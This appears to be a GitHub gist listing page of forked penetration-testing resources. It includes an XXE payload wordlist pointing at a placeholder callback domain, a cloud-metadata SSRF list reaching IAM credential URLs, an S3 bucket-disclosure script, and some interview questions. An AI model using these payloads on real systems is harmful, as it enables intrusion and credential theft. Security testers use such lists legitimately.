steeve85’s gists

steeve85 / xxe-payloads.txt

Created September 16, 2020 16:39 — forked from honoki/xxe-payloads.txt

XXE bruteforce wordlist including local DTD payloads from https://github.com/GoSecure/dtd-finder

	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

steeve85 / Security Engineer - Interview Questions

Created February 12, 2020 03:51 — forked from namishelex01/Security Engineer - Interview Questions.md

	1. What is information security and how is it achieved?
	2. What are the core principles of information security?
	3. What is non-repudiation (as it applies to IT security)?
	4. What is the relationship between information security and data availability?
	5. What is a security policy and why do we need one?
	6. What is the difference between logical and physical security? Can you give an example of
	both?
	7. What’s an acceptable level of risk?
	8. What are the most common types of attacks that threaten enterprise data security?
	9. What is the difference between a threat and a vulnerability?

steeve85 / foxyproxy.json

Created July 10, 2019 16:57 — forked from liamosaur/foxyproxy.json

	{
	"mode": "patterns",
	"proxySettings": [
	{
	"address": "127.0.0.1",
	"port": 8080,
	"username": "",
	"password": "",
	"type": 1,
	"title": "127.0.0.1:8080",

steeve85 / bucket-disclose.sh

Created July 7, 2018 21:28 — forked from fransr/bucket-disclose.sh

Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, streaming and index listing as ways of figure it out. You do need a valid aws-key (never the secret) to properly get the error messages

	#!/bin/bash

	# Written by Frans Rosén (twitter.com/fransrosen)
	_debug="$2" #turn on debug
	_timeout="20"
	#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
	_aws_key="AKIA..."
	H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
	H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"

steeve85 / content_discovery_all.txt

Created June 25, 2018 16:25 — forked from jhaddix/content_discovery_all.txt

a masterlist of content discovery URLs and files (used most commonly with gobuster)

This file has been truncated, but you can view the full file.

	`
	~/
	~
	×™×


	___
	__
	_

steeve85 / cloud_metadata.txt

Created April 25, 2018 17:39 — forked from jhaddix/cloud_metadata.txt

Cloud Metadata Dictionary useful for SSRF Testing

	## AWS
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

Steeve Barbeau steeve85